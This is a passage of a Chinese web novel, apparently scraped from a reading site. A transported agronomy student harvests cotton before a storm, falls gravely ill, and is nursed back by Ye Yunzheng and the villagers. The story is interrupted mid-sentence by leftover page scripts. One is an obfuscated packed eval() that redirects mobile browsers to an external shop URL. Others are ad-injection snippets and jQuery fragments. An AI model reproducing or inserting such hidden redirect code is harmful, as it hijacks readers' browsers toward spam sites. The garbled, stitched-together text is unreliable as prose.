如果程明月能带着桥头村把玉米种起来,那整个村子都能过上改头换面的日子,就算卖不到高价,那他们只需要把税粮种够,其他的全种这个玉米,就能多养活两倍的人! 两倍啊,这是何等概念! 能让程明月用心教他们玉米种植之法,才是最大的酬劳。 看到大家都坚决推辞,程明月便不再客套,忙了一夜大家都需要休息,拜别吴村正一家后,胡二娘心里挂念着小夫郎,跟程明月招呼一声,在程明月的调侃中在前面先一步走了。 程明月则领着叶云峥在后面慢慢的走,走了好一会,才拖着有些疲惫的身躯回到家中。 一迈进家门,程明月就扭头把院子大门的门栓插上,回头问叶云峥:“你腿上伤口是不是又复发了。” 叶云峥脸上露出不自然的神色,他吞吞吐吐的说:“没,没有……” 程明月绷着脸看着他,在她的视线压迫下,他垂下头:“没有关系。” 因为伤口位置隐蔽,上次医馆大夫给他开了药之后,她就让他自己上药,没在管过。可刚刚从吴村正院子里出来,她发觉叶云峥步伐不太对,才想起来叶云峥腿上伤结痂没多久。 程明月这次不敢放任他自己处理,逼着他回屋里,把衣衫褪去,将腿上的纱布揭掉,褐色的痂块中渗出丝丝血液,她拿来剩下的药水帮他涂在伤口上,自责道:“怪我,明知道你伤口还没好,还让你连夜帮我搬玉米。” 她早该想到的。可有叶云峥帮着掰玉米速度快了好多,她便想,反正掰玉米可以,挑水应当也可以,挑水都可以,推个车也可以。 昨天晚上太兴奋,又急着把玉米搬到山下,她就把他身上还有伤口的事给忘了。 叶云峥微微一愣,说道:“真的没关系的,只是渗出来一点血而已,不影响恢复。”比这要重的伤口他都熬过,手指红肿还要日以继夜的织布缝衣他也做过,已经结痂的伤口渗出来一点血算什么。 可程明月语气不容置疑:“不行,这样你恢复时间会变慢的。以后你有什么不舒服一定要马上告诉我。” 她觉得这事儿叶云峥也有责任,他要是感觉不舒服了,早点跟她说,她肯定不让他干这么重的活了。 逼着他答应之后,她才对他说:“昨天熬了一夜,今天就好好休息一天吧,我去担两桶水回来,你在家里什么都不要做。” “记住,好好休息,什么都不要做!”程明月怕叶云峥又起来干别的,拿着扁担和水桶出来后还不忘提醒他。 叶云峥坐在床上,回想程明月刚刚那专注而心疼的神情,嘴角不知不觉的上扬。 程明月提着水桶来到河边,便看到胡二娘匆匆赶来,看到程明月,她便道:“太好了,在这里碰到你,就不用往你家里去了。” 程明月疑惑问:“怎么了,有事吗?” 胡二娘指了指天:“这个天看起来要下雨,我记得你田里头的棉花都已经长成了,得赶紧收了。”说完便告别程明月回去了,她也要抓紧时间收谷子。 此时的天空中漂浮着大块的云彩,云彩底部下染上了墨汁一样的黑色,层层叠叠地堆积着,仿佛随时都会倾泻下一场倾盆大雨。 程明月谢过胡二娘,担了水就往家里走。她踌躇着走进屋内,叶云峥果然还没睡,看到她便笑着问:“水提回来了?你也快来休息吧。” 程明月有些不好意思地挠了挠头:“休息不成了。”她指向外头的天空:“说不准什么时候就要下雨。” “下雨?”叶云峥从床上站起来,到旁边堆着的工具堆里扒拉出来两个藤篾,这是之前他被程明月按在家中修养时编的,他把藤篾递给程明月:“走吧,地里的棉花不管不行。” 已经长开的棉桃如果淋了雨,后续棉花晒干要多花时间不说,一个不小心还容易烂铃长霉受损。 程明月望天:“本来还说大话,让你好好休息,结果还是得让你带着伤帮我干活。” 叶云峥哑然而笑:“你也要亲自下地去收,难不成我是客人,看着你动手,我什么也不干?再说了,收棉花只是耗时间,又不是什么重活。” 程明月又轻叹一声,无奈地伸手接过藤篾,随后紧随着叶云峥的脚步,一同朝着地里走去,准备采收棉花。 棉花这个东西是一种很难一次性收割的作物。哪怕是现代,除了新疆地区少雨日照长可以机械化一次性收割之外,其他地方棉花大部分都是人工摘收。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712134|144602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是因为棉花的吐絮方式是自下而上的,往往当棉株下边的棉铃已长出大朵棉花时,顶部的棉桃却依旧青涩。 再者,棉花吐絮的时节正值多雨的秋季。一旦棉花开始吐絮,就必须及时进行采收,每吐絮一批便采收一批。 程明月地里棉花选用的是新疆棉的矮株,所以已经比普通的高株棉花好很多,有三分之二都已经开了,但受制于地理因素影响,仍有一部分棉桃还是青色的。 她来了这里之后一直没下过雨,天旱的厉害,之前也一直在忙别的,所以就没把收棉花放在心上,想着全开了之后一次性收齐。 哪想到这雨说来就来。 所幸的是,她地里种的棉花并不多,毕竟采用了多种植物间作的方式,其中棉花满打满算也不过半亩地。而且只需采摘已经开放的棉花,青色棉桃无需理会。 于是,程明月和叶云峥两人连饭都没顾得上吃,低头忙碌地采摘了好几个时辰。当天上开始滴雨,渐渐下起倾盆大雨之时,地里的棉花已经采了八九分了。 程明月又捡了些木棍等支撑物将留种的玉米杆子固定住,以防它们倒伏。因为之前是起垄种植的,所以排水还行,只要不是一连下好几天的大雨,就不会淹到。 如果真的连下好几天雨……那就只能冒着雨来挖排水沟了。 程明月让叶云峥先回去烧水洗澡换衣服,她则想再去已经摘完玉米地里检查下有没有漏摘的玉米。放在地里头,万一倒了就是浪费,捡回去还能作为今天的饭吃掉。 其他玉米几乎都已经被摘了回去,只有零星几根漏网之鱼,剩的全是高大的玉米杆子,以前程明月在现代时,他们都觉得这些玉米杆碍事又麻烦,机械化发展后,收玉米的时候就干脆直接把玉米杆粉碎还田。 可在机械化没有普及的年代,这些可都是家庭重要的资产。 养牛的话,新鲜的玉米秸秆斩碎了可以拌豆饼喂牛,猪羊也可以喂。 干了之后还能当柴火烧。 程明月没有养猪牛羊,所以这些玉米杆子,豆杆,棉花枝子都可以用来当做柴火,这样能少去深山里砍许多柴。 大雨倾盆而下,程明月抱着玉米,在田地里艰难地走着。 田里土地沾了水之后便全是泥,走起来一步一滑。泥泞的土地就是一片沼泽,每走一步都要废很大的劲。 程明月实在是太累了,这些天来,她一直忙碌不停,昨天更是一夜未眠,淋雨之后感觉脑袋晕晕乎乎的。 突然,她的脚下一滑,身体失去了平衡,玉米散落一地,她自己也重重地摔倒在泥地里。她试图站起来,可身体却像灌了铅一样沉重,怎么也使不上劲。 程明月觉得自己八成是低血糖犯了,她想大声呼救,可声音却被雨声、雷声和风声淹没。 她自嘲的想,刚刚她还说叶云峥只顾着干活不爱惜身体,自己这才叫真正的不爱惜身体,为了几根玉米把小命丢在这里,真是说出去都被人笑话。 叶云峥已经被她赶回家了,她当时信誓旦旦的保证自己一会儿就回家,他估计一时半会不会朝这里来。 而离她最近的邻居胡二娘家也有一河之隔,下着这么大的雨,不可能朝这里来。 没有人会来救她。 15. 白露03 雨水狠狠地砸在程明月的身上,她的四肢被黏稠滑腻的泥浆裹住。 程明月也越来越绝望,绝望之下她便开始胡思乱想。 如果她死了之后回到了现代,被同学们问是怎么回来的,她都不知道怎么回答。 要她怎么说呢? 哦,穿去古代了,还是老本行干种田,怎么回来的呢? 死了。 怎么死的呢? 因为舍不得几根玉米,冒着雨去田里摘玉米结果摔死在玉米地里了。 绝对是会被挂在耻辱柱上当成案例笑话好不好。 她一个农学院的研究生,种子科学与工程学院的高材生,知名农科院教授器重的爱徒,年年评优拿奖当标杆的那种。 穿越到古代一个本土作物都没改良过,甚至一个土豆都没种出来过。 连在现代种出来的大豆玉米和棉花都没收完,就因为在玉米田里摔了一跤穿回去了。 奇耻大辱! 可她真的能穿越回去吗? 或许并不会吧,她可能会死亡,意识会消散,从此世上再无程明月。 大雨中,程明月无望的看着家的方向,用尽全力的喊了一声叶云峥,可更多的风和雨灌进了她的嘴里。 就在程明月已经万念俱灰的时候,她看到一个熟悉的身形,在大雨中跌跌撞撞的朝她跑来。 是叶云峥! 真好,他来救她了。 叶云峥满脸焦急,眼神中充满了紧张和担忧。当他看到程明月趴在泥地里时,他的心猛地一揪,飞快地跑了过来。 刚刚他回到家中,迟迟不见程明月回家,便一直焦急万分。随后不知道怎么的,他好像听到她在喊他,他越等越心急,家里也没有斗笠和蓑衣,他随手拿起一个藤篾盖在头上就往田里跑,结果远远的就看到程明月趴在地上。 他心疼急了,蹲下身子,小心翼翼地将程明月背在身上。 叶云峥背着程明月往家走,他每一步都踩踏实了再走,生怕又摔到她,雨打在他的身上,他却全然不顾。 回到家后,叶云峥把程明月放在床上,倒了一杯热水给她喝。 程明月哆嗦着说需要糖水,他慌忙去厨房加了几大勺糖。 她喝了几口热糖水,才渐渐缓过神来。 恢复后,程明月强撑着去洗了个热水澡,用干布拼命将头发擦了半干。她又困又累,根本不想吃饭,只想睡觉,于是简单叮嘱叶云峥几句,就回到卧室里睡下了。 叶云峥看着她疲惫的样子,心中满是怜惜,可他的身份什么也做不了,他也不知道如何做能帮到她,只能拼命祈祷她尽快恢复。 夜里,狂风呼啸,暴雨如注。 叶云峥突然从睡梦中惊醒,周围一片漆黑,什么都看不见。 雨下得越来越大,风呼呼地吹着,仿佛要把整个屋子都吹散,门窗被吹得哗哗作响,气温也骤降。 叶云峥一直睡在外间,外间现在堆满了棉花,用干树枝压着,以防乱飞。凄冷的风从门缝里钻进来,吹得树枝微微晃动,彼此碰撞发出窸窣而杂乱的声响。 他裹紧被子,却还是觉得冷。 屋外的狂风越来越大,不知为什么,叶云峥忽然心慌得厉害,怎么都睡不着,他试图强迫自己睡觉,可越是这样,心中的担忧就越是强烈。 叶云峥床头放着一盏小油灯,那是程明月亲手为他做的,说是夜里起夜时可以用来看路。 他在黑暗中摸索着点亮油灯,昏黄的灯光不安地摇曳着,尖尖的火舌上,托着一缕袅袅上升的黑烟。 他轻手轻脚地走到程明月的房门前,先是拍了拍门,没人应答。 叶云峥犹豫片刻后,还是推开门走了进去。 刚一进门就看到程明月房间的屋顶漏了个大洞,雨水不断灌进屋里,风也肆意地呼啸着吹进来。所幸屋顶的洞不在程明月的正上方,她身上并没有淋到多少雨。 借着油灯微弱的火光,叶云峥看到程明月满脸通红,心猛地一紧。 他连忙将程明月抱到外间自己的床上,焦急地呼唤着她。 “程娘子,你怎么了,醒醒。” “程娘子,程娘子……程明月,明月,你快醒醒!” 叶云峥伸手去摸她的额头,触手滚烫。 他不停呼喊着程明月的名字,可程明月已经失去了意识,嘴里还在说着胡话。 叶云峥不知道该怎么办才好,程明月在一个劲的打寒战,于是他急忙把家里所有干着的被子、衣服和布料都抱过来,全部盖在程明月身上。 盖上后,他想去厨房接一盆凉水给程明月降温。 一推开门,凉风呼呼地往屋里吹,他手里的布连带着他的衣衫都被雨淋湿了。 也不用去厨房了,他回房间把布敷在程明月的额头上。 程明月似乎不停在说什么,他凑近半天才听清她似乎是在喊冷,可她身上盖着的已经是家里全部干被盖了。 叶云峥来不及顾忌羞耻,毫不犹豫的脱掉身上的湿衣,钻进被窝里,试图用自己的体温来温暖她。 她面色潮红,高烧让她的身体极度虚弱,嘴巴微微张开,呼出的气息都是滚烫的,她的每一次呼吸都显得那么艰难。 抱着浑身滚烫的程明月,叶云峥的心如同被放在火上炙烤一般,每一秒钟的等待都是漫长的煎熬。 汗水湿透了她的衣衫,黏腻地贴在她身上,程明月时而会发出微弱的呻吟声,叶云峥听得的心都揪了起来,恨不得能替她承受这份痛苦。 她忽然艰难的睁开眼睛,苍白干裂的嘴唇哆嗦着,好像要跟他说什么话,他凑近她,听到她断断续续道:“叶云峥……卖玉米的钱……在,在枕头底下,我要是,死了……你拿着钱,买个人,帮忙种……玉米。” “玉米是,芒种时种,白露收……要杂交育种。杂交就是……算了,解释不清……你记住这个词。你会种玉米就能好好,活下去。还有,厨房角落的……土豆……不能吃,发芽了……你把它们埋到地里,那是……那会是……奇迹。你要好好活下去……还有……如果你公公来找你……你别信他,你已经跟他,没关系了。” 油灯的火苗忽明忽暗,伴随着她气若游丝的声音,仿佛她的生命之火也如同灯火一样微弱,随时都会熄灭。 叶 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 云峥紧紧的抱着仿佛在交代后事一般絮絮叨叨的程明月,祈求上天不要将她带走,她是他陷入绝望时唯一向他伸出援手的人,如果没有她…… 不,不会没有她! 她一定能好好的。 他从来没有这么恐惧过,这种恐惧甚至比他当初知道自己即将被卖还要可怕,那时他心里还想着实在不行,他就一头碰死,可现在……他不敢想如果程明月挺不过来怎么办。 她一定能挺过来,她会没事的。 她一直说想吃排骨,要卖排骨回来炖玉米排骨汤喝,还说请木匠做织布机好让他做厚棉被,说要加固房子好过冬,只是因为没钱所以一直做不了。 他们好不容易终于有了二十五两银子,棉花也收回来了,她怎么能有事呢。 她还没加固房子,还没盖上自家地里棉花做成的棉被,甚至还没喝到心心念念的排骨汤,她怎么可能会有事! 她怎么可能会在有了可以盖房的钱后,在修盖前死在被狂风摧毁的破屋中。 叶云峥想,他要做些什么,他不能一直等。 等在这里没有用。 他能做些什么,他该做些什么? 他已经把所有能盖的东西盖在程明月身上了,她头上的帕子也五分钟重新拧一遍保持温度。 他做了所有在这个屋子里能做的事情。 这个屋子里? 叶云峥猛然一惊。 如果不止是这个屋子呢? 他的心突突直跳,跑到程明月的房间里枕头下摸出来装着银子的荷包。 他父家的家教甚严,从小学的是三从四德,讲究大门不出二门不迈。嫁人后,一直生活在公爹的手掌心里,从来没有一个人和别人接触过。 他攥紧手心的银子,他是什么身份,哪里还需要顾忌什么三从四德 何况都这个时候了,明月高烧不退,管不得这么多了。 伴随着一声鸡鸣,程明月从昏睡中醒来,一缕阳光透过窗棂,照在她的脸上,她怔愣好大一会,才意识到这里不是自己家。 这是哪里?是现代,还是古代? 程明月缓缓转动眼珠,首先看到一只静静放在床边的手,这只手骨节分明,略显粗糙。她的目光顺着那只手缓缓上移,看到了趴在床头沉睡的叶云峥,阳光倾洒在他的头发上,仿佛给他蒙上了一层金边。 他的脸上带着疲惫与担忧,即使在睡梦中,眉头也微微蹙着。 年纪轻轻总是皱眉会长抬头纹的,程明月想抬起手摸摸叶云峥的眉心,然而身体的虚弱却让她的手抬到一半便无力地垂了下来。 门“吱扭”一声开了,吴正夫端着一碗汤药并一碗小米粥走了进来。 他看到程明月醒来,惊喜地喊道:“哎呀,你醒了!” 这一声惊呼惊醒了叶云峥,他猛地抬起头,一把抓住了程明月的手,眼中满是激动。 程明月的嘴唇翕动,仿佛想说什么,叶云峥紧紧的盯着她,将身子探到她的正上方,终于听清她的话。 她第一句是:“外面公鸡打鸣好吵。” 第二句是:“咱家鸡是不是跑完了。” 16. 白露04 程明月觉得自己的担心非常有道理,醒来听到别人家公鸡这么有力的打鸣。 便想到自家那个由石头块、树枝和豆秸搭成的简易鸡窝,昨夜风那么大,肯定顶不住,那些鸡要么跑了要么死了,估计一只都不剩。 这几只鸡买得太亏了,她还没吃到母鸡的蛋,也没听到公鸡打鸣,它们就可能惨死在风雨中了。 以后她真的要吸取这次的教训,得把鸡窝搭结实些。 可她的话才说完,叶云峥就红了双眼,抽回握住她的手,趴在床上委屈的哭了起来。 程明月看他哭了,有些手足无措。 “你你你,你哭什么?”一发声她才发现嗓子肿了,只能发出来气声。 吴正夫端着药过来,帮着程明月撑着床半坐起来,把药放到她手中:“别欺负人家!你是不知道,前儿夜里阿峥都快被你吓坏了。” 前天?程明月疑惑的看着吴正夫,用气声问。 “可不是吗,你晕过去了整整一天两夜。”吴正夫把药放在一边的桌子上,一手端起小米粥,一手拍拍程明月的肩膀,说:“往后可得对你夫郎好一点,要不是阿峥冒着雨连夜喊人去救你,你早就死了。来,先吃点饭,吃完喝药。” 这碗粥原本是给叶云峥的,既然程明月醒了,便让她先垫垫。 程明月接过粥碗,小米粥散发着淡淡的米香,上面漂着一层厚厚的米油,她轻轻吹开粥面的热气,低头喝了一口,感觉整个人都被这温暖绵密的感觉熨帖了。 在程明月大口喝粥的时候,吴正夫便拿手轻轻的拍着叶云峥的背安慰他:“好了好了,别哭了,你妻主这不是好好的。” 叶云峥抽噎着抬起头,用袖子擦了擦脸上的泪水,他仿佛还没从那股委屈劲里恢复过来,仍然一抽一抽的。 程明月觉得有必要解释下身份问题,不能让吴正夫这又是妻主又是夫郎的误会下去。 吴正夫说的要她以后对叶云峥好,她自是无可辩驳。 程明月模模糊糊的能记得,在她最无助的时候,叶云峥冲进来将她抱在怀里的感觉。那时她就在想如果她命大活下来,一定好好报答他。如果她命弱死了,就把所有钱财都留给他。 只是,既然她命大活下来了,这身份问题还是得澄清下,毕竟两个人清清白白,不能平白污了他的名声。 她虚弱的用气声说:“不是夫郎。” 吴正夫听不清:“你说什么?” “我说不是……” “你不吃?”吴正夫疑惑皱眉,把小米粥的碗从程明月手中拿走。 “吃,我是说……” “是?是什么?哦,你是说往后对夫郎好是吧。唉呀,你这以后懂得心疼夫郎就好,我就说程丫头本来就是疼人的。这饭你还是吃点吧,饿了一天两夜了不垫点哪行。” 程明月:…… 吴爹爹,你怎么不带听人说话的。 程明月嗓子里像是被水泥堵住了一样,说几句话就非常痛,她无力再解释,端过吴正夫手里的碗后就埋头吃起来,生怕他又听错话,把她的小米粥抢走。 一碗粥喝完,程明月觉得浑身都充满了力量,不像刚刚那么虚弱了,只是嗓子依旧发不出声音,她也不知道为什么,喝粥的时候嗓子只是隐隐作痛,可一说话就疼的厉害。 叶云峥终于在吴正夫的劝说下不哭了,只是眼睛还红肿着,可怜巴巴的瞅着程明月,眼睛都不错一错。吴正夫很是识趣,他轻轻接过程明月手中的空粥碗,又将药碗稳稳地放到叶云峥手里,温声说道:“阿峥,你来服侍你家妻主把药喝了,我出去溜达一圈。” 叶云峥小心的服侍着程明月喝完药,在程明月充满求知欲的目光注视下,将这两日发生的惊心动魄的事情从头到尾讲了一遍。 前天夜里,程明月高烧不止,叶云峥心急如焚,想着拿着银子下山去寻之前为他看腿的李大夫。 他记得程明月曾提过,李大夫是桥头村的人,不过平时都在城里看诊。 既然她家是开医馆的,即便她不在,家里人想必也懂些医术,一定有治疗风寒的药材。 程家那三间小屋实在破旧,加上狂风肆虐,叶云峥生怕屋子被风吹垮了,下山前先去拍开了胡二娘家的大门,恳请她将程明月接到她家暂避风雨。 胡二娘开门听说程明月病了,二话不说,披上蓑衣就往程家赶奔去。叶云峥则独自地奔向山下,他不知道李大夫家住在哪里,但他想吴村正一定知道,就去敲了吴家的门。 吴村正得知此事后,当机立断的让吴俏去城里请李大夫,她自己带着叶云峥前往李家。 李家是李大夫的侄子开的门,她家有个懂医的年长老太奶在家,见是吴村正来求助,毫不犹豫的从家里翻出来常用的治疗伤寒的药,还要亲自跟叶云峥他们去山上看程明月。 但吴村正担忧她年岁已高,天黑路滑易摔倒,极力劝阻了她。 随后,吴村正跟着叶云峥一同来到山上胡二娘家。此时的程明月已被胡二娘背到她家,躺在胡二娘的床上,她病情却越发严重,甚至开始呼吸紊乱。 吴正夫和胡二夫郎给她炖了药,吴村正喂给她喝下之后,病情才终于不再恶化下去。 等到吴俏带着李大夫赶来,已经是第二天清晨的事情了。李大夫重新为她配了药方,又亲自为她擦身降温。程明月昨天白天一直在发烧退烧发烧的循环中,期间喝了多次药。 李大夫这才松了一口气,说如果不再发烧,基本上就脱离危险了。 雨渐停后,吴村正看胡家简陋狭小。若让李大夫回家,万一程明月又烧起来再找她耽误时间;若不让李大夫回家,又没地方让她休息。便做主让胡二娘和吴俏将程明月背到她家。 然后就是程明月刚刚醒来之后的事情了。 叶云峥讲述这一段的时候,声音微微颤抖,仿佛还沉浸在当时的紧迫中。 程明月轻声问:“其他人呢?” “李大夫家就在村正家隔壁不远,胡二娘昨天将你背来之后就回山上去了,前天那场暴雨来的急,她家谷子地里也有不少谷子倒了要去扶。” 说完,叶云峥纠结一会儿,认真地对程明月说:“程娘子,这次大家都帮了大忙,前天晚上大家一宿都未合眼,白天李大夫也一直照看着你。以后,定要好好谢谢大家才是。” 程明月微微扬起嘴角,笑容中带着一丝苦涩与感动。她抬起头看向屋顶,眼中 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 似乎有泪花在打转。她喃喃自语道:“是啊,得好好报答大家,这下人情债可欠大了。” 她其实从未将这里当作自己的家,也未曾把这里当成自己的村子。在她的内心深处,从未真正融入过这里。 无论是胡二还是吴俏,她在与她们交往之时,打的也是要建立自己关系网的主意,从未将她们视为真正的朋友过。 可当危难来临的时候,却是她们不遗余力的去救她,没有考虑如果救不活怎么办,没有考虑救了她之后她会不会答谢。 而她呢? 吴村正说需要钱买点粮食,放在村里公仓里头,如果真的到快饿死人的时候了,拿出来救大家的命。 虽然她确实把银子拿出来了,可那个时候她是怎么想的?她想的是就当我是在交投名状了。 她想的交的是投名状,是结交吴村正这个人脉,而不是想着为村子出自己的一份力。 程明月端着药碗的手微微颤抖,叶云峥把手放上去,担忧的看着她,她知道自己此刻的表情一定很难看。 过了许久,程明月终于平复了情绪,勉强在脸上露出一个难看的笑容,问叶云峥:“不只是她们,这两天你也一直没睡吧,还有前天晚上,下那么大的雨,刮那么大的风,你一个人是怎么从山上跑到山下的?” “程娘子,我……” “别叫我程娘子啦,云峥,我以后都叫你云峥好不好?”程明月紧紧地看着他:“你以后都喊我明月吧。” 叶云峥面露纠结之色:“可是……这于理不合。” “管他什么理不理的,你就叫我明月吧,以后你就是我的家人。” 叶云峥眼中闪过一丝惊喜,说道:“明月……” 程明月笑着说:“我是说真的,你比我大一岁,以后在这里,你就是我亲哥哥,有我程明月一口吃的,就有你叶云峥的半口,我绝不会让你受委屈的,我一定会让你过让比旁人都好的日子。”她顿了下:“还有桥头村。” 她以前对田园生活的想象是“鹅湖山下稻粱肥,豚栅鸡栖半掩扉。”[1] 可桥头村根本没有这诗里面的富足安宁,桥头村稻枯粮瘦,没有一家养猪的,连牛都养不起,全村只有吴村正一家养了头牛。 整首诗只有最后半句半掩扉是贴合桥头村的,这里的村民倒是经常敞着门就出去干活,以前程明月还曾经腹诽过,觉得这桥头村也太穷了,穷到大家出去干活都不锁门。 等她种田有了钱,她就包下来几个庄子,雇一大堆佃农,自己去城里住去。 因为只有住城里才能过上每天吃到肉的日子。古代又没有冰箱,杀了猪之后一天卖不完就臭了,只有县城以上级别的城市,才有足够多的需求支撑屠户每天杀一头猪。 可她现在却不这么想了,她想的是,我要留在桥头村,让大家都过上能吃到肉的生活。 但不管哪条路,单靠她单打独斗肯定不行,这么看这场病反而是因祸得福。 从卖玉米接触的短短一日,以及她生病了吴村正不遗余力的相助来看,这个村正倒是个可以付出真心去结交的人。 程明月琢磨着心事,完全没注意到一旁的叶云峥眼中闪过的一丝落寞。 17. 白露05 程明月休息了一会儿,只觉得身体里渐渐有了些力气,便再也躺不住了。她转头看向一旁的叶云峥,眼里写满了她想起来走走。 叶云峥心领神会,连忙伸手去扶她。程明月缓缓地站起身来,试着活动了一下手脚,虽然还有些虚弱,但已经能够下地行走了。 两人走出屋子,外面的阳光洒在身上,带来一丝温暖。吴家的院子里空荡荡的,只有几只鸡在慢悠悠地走来走去,时不时发出几声咕咕哒的声音。 吴正夫听到动静从厨房里出来,给叶云峥端了一碗小米粥放在外头的石桌子上,叶云峥说不饿,吴正夫佯装生气,跟程明月告状:“你家夫郎从前天夜里到现在都没吃一口饭,也不睡觉,就光看着你,一点也不爱惜身子。” 程明月不赞同的看着叶云峥,叶云峥坐下连忙端了小米粥喝了。吴正夫又给叶云峥端了两个饼子还有酱菜,他和程明月都不饿,坐下之后,他便拉着程明月说起来家常话来,程明月嗓子压根发不出来声音,其实就是他说她听。 吴正夫说吴村正不在家,八成是和家里长工牵着牛出去地里干活了,吴俏也不知道跑去了哪里。 说着说着愁的不得了。 没说几句他开始抱怨起吴俏来:“这吴俏啊,真是不懂事儿得很。一天到晚就知道玩,一点忙也帮不上。给她说了好几个合适的人家,她都不满意,也不知道她到底想找个啥样的。”吴正夫皱着眉头,无奈地摇了摇头。 他拍着程明月的手,眼里流露出羡慕之情,“看看你和胡家二娘,多好啊。知道干活,肯上进,还知道自己想着终身大事,不用家里催,就去把夫郎买回来了。这回头小丫小仔还不是跟猪娃似的一个个下,日子过得多有盼头。” 一旁的叶云峥听了,耳朵尖都染上了红色,他偷偷的看了一眼程明月,见这次程明月只微笑聆听并没有急着反驳,心底升起一丝喜悦。 可一想到自己家的情况,吴正夫的脸色又黯淡下来。“我天天夜里都愁得睡不着觉。家里头现在看着行,那是因为你吴姨还能干。”吴正夫叹了口气,脸上满是担忧。 等吴村正老了可怎么办?不光是女儿过不下去,儿子在妻家也得受气啊。 原来他家除了吴俏另有一儿,儿子则嫁去了隔壁村,轻易回不来一趟。 吴正夫早就想催着吴村正去隔壁办事儿顺路去儿子家看看了,可吴村正因为最近村里的情况正犯难呢,走不开。他不敢让吴俏去,上次让吴俏去看他哥,吴俏就和他兄嫂打了一架,只会给她哥添乱。 “今年村里本来就旱,结果下了这么场雨,收成更不好了。到时候交秋税的时候可咋办啊?朝廷可不管你收成好不好,说要收几斗就是几斗的。卖一两块田地能交上还好,来年大不了跟你家还有胡家一样,明年去山上开荒。就怕到时候几家地主联合起来压价,大家卖掉田地也交不上。要是大家都交不上跑了,那上头肯定追责吴村正头上……” 说到这里,吴正夫猛地意识到自己正在说朝廷坏话,赶紧打住。他尴尬地笑了笑,对程明月和叶云峥说:“我这也是愁得慌,你们就当听个笑话。阿峥慢慢吃,我去厨房干活了。”说完,吴正夫便匆匆走进厨房,留下程明月和叶云峥面面相觑。 叶云峥吃完饭之后,程明月让他去睡觉,他这两天都没好好睡过觉,再撑下去对身体不好。叶云峥本来舍不得,想跟着程明月。 程明月板着脸用气声问叶云峥是不是不听话了,叶云峥无奈,只好乖乖地躺到被窝里。程明月又让他把腿上的伤给她看了看,或许是这两天他都守在程明月床前一动不动,他的腿伤看起来好了很多,等疤掉了应该就没问题了。 叶云峥这两天确实又累又疲,精神一直紧绷着,现在程明月握着他的手,他躺下没多久就睡着了。 见叶云峥睡了,程明月去厨房找到吴正夫,指了指自己的嗓子说不舒服,表示想去找李大夫。 吴正夫便说要去请李大夫来帮她看,程明月连忙拉住吴正夫,用肢体动作表示自己去就行了。吴正夫也有一篓子事儿要干,于是给程明月指了指路,程明月就出门了。 来到李大夫家,李大夫先是给她把了下脉:“年轻就是好,昨天病的那样急,几幅药下去基本上痊愈了。你这嗓子也不用治,正常的,过两日自己就好了” 程明月用气声问她这些天花了多少钱,李大夫笑着说:“本来吴村正亲自来请,我不收银子也是应该的,可既然程娘子执意要给,那给几个铜板付个药钱就行了。” 程明月付了铜板谢过李大夫,想着要赶紧回山上家里看看。 也不知道房子到底受损多少,如果严重的话,得从村子里面找人修。还有棉花,也不能泡水,沤烂了就完蛋了。 她算了下速度快的话来回也就一个小时,她就去看一眼,不亲自翻腾棉花,也不会有啥问题。 程明月走在回家的路上,心中也在想村里的情况。她知道大家都不容易,尤其是在这旱年加上收成不好的情况下,交秋税成了大家心头的一块大石头。 不知道她在这个事情上能些什么力。 可今年的作物都已经种完了,接下来他们再种小麦什么的,等收成要等明年春夏了,远水救不了近火。 看来得靠土豆了。 希望那几筐土豆安然无恙。 走过小桥,远远地,程明月就看见胡二娘和吴俏正在忙碌地在她的晾晒场上给她晒棉花,那洁白如雪的棉花都已经铺开摊在地上了。 胡二娘正拿了个木耙在卖力地翻着棉花,她的脸上布满了细密的汗珠。 吴俏则有一搭没一搭地干着,时不时地抬头看看天空,或是用手扇扇风,见到程明月,吴俏开心地挥了挥手,脸上露出灿烂的笑容。 胡二娘听到动静,抬起头来,看到程明月,脸上露出惊喜之色。“你已经好了?不再歇会儿了?” 程明月张大嘴指了指自己的喉咙,表示自己说不出来话,又指了指地上的棉花,看向胡二娘和吴俏,两手摊开做出疑惑不解的模样。 吴 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 俏翻了个白眼,说道:“嗨,我娘自从昨天听说你家屋子烂了个窟窿,收的棉花都堆在屋里就不消停。昨天白天要不是雨没停,你又高烧不退,她一准昨儿就来了。夜里好不容易雨停了,今儿一早天还没亮她就撵着我来找胡二过来你家。” 胡二娘接着补充道:“明月,多亏村正惦记着,我都忘了你家有棉花的事儿了,来了之后就看见你家棉花泡了水,赶紧给你拾掇出来晒了。还有,村正看见你家房子破的厉害,还找了泥瓦匠来给你家修屋子,等会你见了村正,得好好谢谢她才是。” 程明月自然是诚恳地点头称是。 吴俏在一旁小声嘀咕道:“她自己有小心思……”话没说完,被胡二娘轻轻打了一拳,闭嘴了。 程明月用气声问:“村正呢?” 胡二娘环顾了一下四周,说“刚刚还在,要不你去屋子里头看看,可能去看着老张头盖房子去了。” 程明月往房子走去,屋里也没人,只有一个精瘦的女人正在糊墙。那女人动作熟练,将泥巴均匀地涂抹在墙上,然后用工具将其抹平,程明月嗓子一发声就痛,抱拳和老张头打了个招呼。 走近可以看到,三间小屋数她睡的那间受损最严重,屋顶被掀翻三分之一,墙上也裂了个大缝。叶云峥睡的外间还好,但墙上也渗水了,因而她的棉花才会被泡了一部分。 厨房倒是好好的,土豆也原封不动的掉在横梁上,她踩着凳子上去看了看,完全没问题,她终于放下心来,继续去找吴村正了。 在院子里找了两圈也没找到,她便去地里看了看玉米,幸好她提前绑了木棍,损失并不严重。 她想着返回去晾晒场上找胡二娘和吴俏,走近突然看到吴村正蹲在后院墙角鬼鬼祟祟的不知道干什么。 